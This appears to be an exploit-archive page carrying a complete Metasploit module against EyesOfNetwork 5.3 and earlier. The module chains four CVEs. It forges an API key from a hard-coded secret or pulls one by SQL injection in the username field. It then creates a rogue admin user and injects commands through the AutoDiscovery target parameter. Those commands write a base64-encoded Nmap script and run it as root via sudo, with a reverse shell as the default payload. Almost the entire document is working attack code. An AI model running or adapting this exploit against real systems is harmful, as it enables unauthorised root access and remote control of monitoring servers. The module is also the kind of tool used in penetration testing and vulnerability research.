EyesOfNetwork AutoDiscovery Target Command Execution

This Metasploit module exploits multiple vulnerabilities in EyesOfNetwork version 5.3 and prior in order to execute arbitrary commands as root. This module takes advantage of a command injection vulnerability in the target parameter of the AutoDiscovery functionality within the EON web interface in order to write an Nmap NSE script containing the payload to disk. It then starts an Nmap scan to activate the payload. This results in privilege escalation because the apache user can execute Nmap as root. Valid credentials for a user with administrative privileges are required. However, this module can bypass authentication via two methods, i.e. by generating an API access token based on a hard-coded key, and via SQL injection. This module has been successfully tested on EyesOfNetwork 5.3 with API version 2.4.2.


MD5 | 3a699f2aa100664503fd2a6553c99d29

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'EyesOfNetwork AutoDiscovery Target Command Execution',
'Description' => %q{
This module exploits multiple vulnerabilities in EyesOfNetwork version 5.3
and prior in order to execute arbitrary commands as root.

This module takes advantage of a command injection vulnerability in the
`target` parameter of the AutoDiscovery functionality within the EON web
interface in order to write an Nmap NSE script containing the payload to
disk. It then starts an Nmap scan to activate the payload. This results in
privilege escalation because the`apache` user can execute Nmap as root.

Valid credentials for a user with administrative privileges are required.
However, this module can bypass authentication via two methods, i.e. by
generating an API access token based on a hardcoded key, and via SQLI.
This module has been successfully tested on EyesOfNetwork 5.3 with API
version 2.4.2.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Clément Billac', # @h4knet - Discovery and exploit
'bcoles', # Metasploit
'Erik Wynter' # @wyntererik - Metasploit
],
'References' =>
[
['CVE', '2020-8654'], # authenticated rce
['CVE', '2020-8655'], # nmap privesc
['CVE', '2020-8656'], # sqli auth bypass
['CVE', '2020-8657'], # hardcoded API key
['EDB', '48025']
],
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Targets' => [['Auto', { }]],
'Privileged' => true,
'DisclosureDate' => '2020-02-06',
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true, #HTTPS is required for the module to work
'PAYLOAD' => 'generic/shell_reverse_tcp'
},
'DefaultTarget' => 0))
register_options [
OptString.new('TARGETURI', [true, 'Base path to EyesOfNetwork', '/']),
OptString.new('SERVER_ADDR', [true, 'EyesOfNetwork server IP address (if different from RHOST)', '']),
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false])
]
end

def nmap_path
'/usr/bin/nmap'
end

def server_addr
datastore['SERVER_ADDR'].blank? ? rhost : datastore['SERVER_ADDR']
end

def check
vprint_status("Running check")
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '/eonapi/getApiKey')

unless res
return CheckCode::Unknown('Connection failed')
end

unless res.code == 401 && res.body.include?('api_version')
return CheckCode::Safe('Target is not an EyesOfNetwork application.')
end

version = res.get_json_document()['api_version'] rescue ''

if version.to_s.eql? ''
return CheckCode::Detected('Could not determine EyesOfNetwork version.')
end

version = Gem::Version.new version

unless version <= Gem::Version.new('2.4.2')
return CheckCode::Safe("Target is EyesOfNetwork with API version #{version}.")
end

CheckCode::Appears("Target is EyesOfNetwork with API version #{version}.")
end

def generate_api_key
default_key = "€[email protected]"
default_user_id = 1
key = Digest::MD5.hexdigest(default_key + default_user_id.to_s)
Digest::SHA256.hexdigest(key + server_addr)
end

def sqli_to_api_key
# Attempt to obtain the admin API key via SQL injection, using a fake password and its md5 encrypted hash
fake_pass = Rex::Text::rand_text_alpha(10)
fake_pass_md5 = Digest::MD5.hexdigest("#{fake_pass}")
user_sqli = "' union select 1,'admin','#{fake_pass_md5}',0,0,1,1,8 or '"
api_res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/eonapi/getApiKey"),
'method' => 'GET',
'vars_get' => {
'username' => user_sqli,
'password' => fake_pass
}
})

unless api_res
print_error('Connection failed.')
return
end

unless api_res.code == 200 && api_res.get_json_document.include?('EONAPI_KEY')
print_error("SQL injection to obtain API key failed")
return
end

api_res.get_json_document()['EONAPI_KEY']
end

def create_eon_user(user, password)
vprint_status("Creating user #{user} ...")

vars_post = {
user_name: user,
user_group: "admins",
user_password: password
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/eonapi/createEonUser'),
'ctype' => 'application/json',
'vars_get' => {
'apiKey' => @api_key,
'username' => @api_user
},
'data' => vars_post.to_json
})

unless res
print_warning("Failed to create user: Connection failed.")
return
end

return res
end

def verify_api_key(res)
return false unless res.code == 200

json_data = res.get_json_document
json_res = json_data['result']
return false unless json_res && json_res['description']
json_res = json_res['description']

return true if json_res && json_res.include?('SUCCESS')

return false
end

def delete_eon_user(user)
vprint_status "Removing user #{user} ..."

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/eonapi/deleteEonUser'),
'ctype' => 'application/json',
'data' => { user_name: user }.to_json,
'vars_get' => { apiKey: @api_key, username: @api_user }
})

unless res
print_warning 'Removing user #{user} failed: Connection failed'
return
end

res
end

def login(user, pass)
vprint_status "Authenticating as #{user} ..."

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login.php'),
'vars_post' => {
login: user,
mdp: pass
}
})

unless res
fail_with Failure::Unreachable, 'Connection failed'
end

unless res.code == 200 && res.body.include?('dashboard_view')
fail_with Failure::NoAccess, 'Authentication failed'
end

print_good "Authenticated as user #{user}"

@cookie = res.get_cookies

if @cookie.empty?
fail_with Failure::UnexpectedReply, 'Failed to retrieve cookies'
end

res
end

def create_autodiscovery_job(cmd)
vprint_status "Creating AutoDiscovery job: #{cmd}"

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/lilac/autodiscovery.php'),
'cookie' => @cookie,
'vars_post' => {
'request' => 'autodiscover',
'job_name' => 'Internal discovery',
'job_description' => 'Internal EON discovery procedure.',
'nmap_binary' => nmap_path,
'default_template' => '',
'target[]' => cmd
}
})

unless res
fail_with Failure::Unreachable, 'Creating AutoDiscovery job failed: Connection failed'
end

unless res.body.include? 'Starting...'
fail_with Failure::Unknown, 'Creating AutoDiscovery job failed: Job failed to start'
end

res
end

def delete_autodiscovery_job(job_id)
vprint_status "Removing AutoDiscovery job #{job_id} ..."

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/lilac/autodiscovery.php'),
'cookie' => @cookie,
'vars_get' => {
id: job_id,
delete: 1
}
})

unless res
print_warning "Removing AutoDiscovery job #{job_id} failed: Connection failed"
return
end
res
end

def execute_command(cmd, opts = {})
res = create_autodiscovery_job ";#{cmd} #"
return unless res

job_id = res.body.scan(/autodiscovery.php\?id=([\d]+)/).flatten.first

if job_id.empty?
print_warning 'Could not retrieve AutoDiscovery job ID. Manual removal required.'
return
end
delete_autodiscovery_job job_id
end

def cleanup
super
if @username
delete_eon_user @username
end
end

def exploit
unless [CheckCode::Detected, CheckCode::Appears].include? check
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end

@api_user = 'admin'
@api_key = generate_api_key
print_status "Using generated API key: #{@api_key}"

@username = rand_text_alphanumeric(8..12)
@password = rand_text_alphanumeric(8..12)

create_res = create_eon_user @username, @password
unless verify_api_key(create_res)
@api_key = sqli_to_api_key
fail_with Failure::NoAccess, 'Failed to obtain valid API key' unless @api_key
print_status("Using API key obtained via SQL injection: #{@api_key}")
sqli_verify = create_eon_user @username, @password
fail_with Failure::NoAccess, 'Failed to obtain valid API with sqli' unless verify_api_key(sqli_verify)
end

admin_group_id = 1
login @username, @password
unless @cookie.include? 'group_id='
@cookie << "; group_id=#{admin_group_id}"
end

nse = Rex::Text.encode_base64("local os=require \"os\" hostrule=function(host) os.execute(\"#{payload.encoded.gsub(/"/, '\"')}\") end action=function() end")
nse_path = "/tmp/.#{rand_text_alphanumeric 8..12}"
cmd = "echo #{nse} | base64 -d > #{nse_path};sudo #{nmap_path} localhost -sn -script #{nse_path};rm #{nse_path}"
print_status "Sending payload (#{cmd.length} bytes) ..."
execute_command cmd
end
end

Related Posts